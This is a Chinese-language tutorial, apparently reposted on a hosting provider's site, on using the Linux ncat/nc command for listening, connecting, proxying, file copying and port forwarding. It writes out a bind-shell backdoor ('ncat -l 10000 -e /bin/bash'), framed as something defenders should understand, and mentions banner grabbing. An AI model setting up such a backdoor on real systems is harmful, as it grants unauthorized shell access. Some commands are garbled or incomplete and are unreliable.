您好,登錄后才能下訂單哦!
小編給大家分享一下Linux中ncat命令怎么用,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
ncat 或者說 nc 是一款功能類似 cat 的工具,但是是用于網絡的。它是一款擁有多種功能的 CLI 工具,可以用來在網絡上讀、寫以及重定向數據。 它被設計成可以被腳本或其他程序調用的可靠的后端工具。同時由于它能創建任意所需的連接,因此也是一個很好的網絡調試工具
通過 -l 選項,ncat 可以進入監聽模式,使我們可以在指定端口監聽入站連接。 完整的命令是這樣的:
$ ncat -l port_number
比如,
$ ncat -l 8080
服務器就會開始在 8080 端口監聽入站連接。
使用下面命令可以用 nc 來連接遠程系統,
$ ncat IP_address port_number
讓我們來看個例子,
$ ncat 192.168.1.100 80
這會創建一個連接,連接到 IP 為 192.168.1.100 的服務器上的 80 端口,然后我們就可以向服務器發送指令了。 比如我們可以輸入下面內容來獲取完整的網頁內容
GET / HTTP/1.1
或者獲取頁面名稱,
GET / HTTP/1.1
或者我們可以通過以下方式獲得操作系統指紋標識,
HEAD / HTTP/1.1
這會告訴我們使用的是什么軟件來運行這個 web 服務器的。
默認情況下,nc 創建連接時只會連接 TCP 端口。 不過我們可以使用 -u 選項來連接到 UDP 端口,
$ ncat -l -u 1234
現在我們的系統會開始監聽 UDP 的 1234 端口,我們可以使用下面的 netstat 命令來驗證這一點,
$ netstat -tunlp | grep 1234 udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc udp6 0 0 :::1234 :::* 17341/nc
假設我們想發送或者說測試某個遠程主機 UDP 端口的連通性,我們可以使用下面命令,
$ ncat -v -u {host-ip} {udp-port}
比如:
[root@localhost ~]# ncat -v -u 192.168.105.150 53Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Connected to 192.168.105.150:53。
nc 也可以作為聊天工具來用,我們可以配置服務器監聽某個端口,然后從遠程主機上連接到服務器的這個端口,就可以開始發送消息了。 在服務器這端運行:
$ ncat -l 8080
在遠程客戶端主機上運行:
$ ncat 192.168.1.100 8080
之后開始發送消息,這些消息會在服務器終端上顯示出來。
nc 也可以用來做代理。比如下面這個例子,
$ ncat -l 8080 | ncat 192.168.1.200 80
所有發往我們服務器 8080 端口的連接都會自動轉發到 192.168.1.200 上的 80 端口。 不過由于我們使用了管道,數據只能被單向傳輸。 要同時能夠接受返回的數據,我們需要創建一個雙向管道。 使用下面命令可以做到這點:
$ mkfifo 2way $ ncat -l 8080 02way
現在你可以通過 nc 代理來收發數據了。
nc 還能用來在系統間拷貝文件,雖然這么做并不推薦,因為絕大多數系統默認都安裝了 ssh/scp。 不過如果你恰好遇見個沒有 ssh/scp 的系統的話, 你可以用 nc 來作最后的努力。
在要接受數據的機器上啟動 nc 并讓它進入監聽模式:
$ ncat -l 8080 > file.txt
現在去要被拷貝數據的機器上運行下面命令:
$ ncat 192.168.1.100 8080 --send-only
這里,data.txt 是要發送的文件。 -–send-only 選項會在文件拷貝完后立即關閉連接。 如果不加該選項, 我們需要手工按下 ctrl+c 來關閉連接。
我們也可以用這種方法拷貝整個磁盤分區,不過請一定要小心。
nc 命令還可以用來在系統中創建后門,并且這種技術也確實被黑客大量使用。 為了保護我們的系統,我們需要知道它是怎么做的。 創建后門的命令為:
$ ncat -l 10000 -e /bin/bash
-e 標志將一個 bash 與端口 10000 相連。現在客戶端只要連接到服務器上的 10000 端口就能通過 bash 獲取我們系統的完整訪問權限:
$ ncat 192.168.1.100 10000
我們通過選項 -c 來用 nc 進行端口轉發,實現端口轉發的語法為:
$ ncat -u -l 80 -c 'ncat -u -l 8080'
這樣,所有連接到 80 端口的連接都會轉發到 8080 端口。
nc 的監聽模式會一直運行,直到手工終止。 不過我們可以通過選項 -w 設置超時時間:
$ ncat -w 10 192.168.1.100 8080
這回導致連接 10 秒后終止,不過這個選項只能用于客戶端而不是服務端。
當客戶端從服務端斷開連接后,過一段時間服務端也會停止監聽。 但通過選項 -k 我們可以強制服務器保持連接并繼續監聽端口。 命令如下:
$ ncat -l -k 8080
現在即使來自客戶端的連接斷了也依然會處于待命狀態。
以上是“Linux中ncat命令怎么用”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。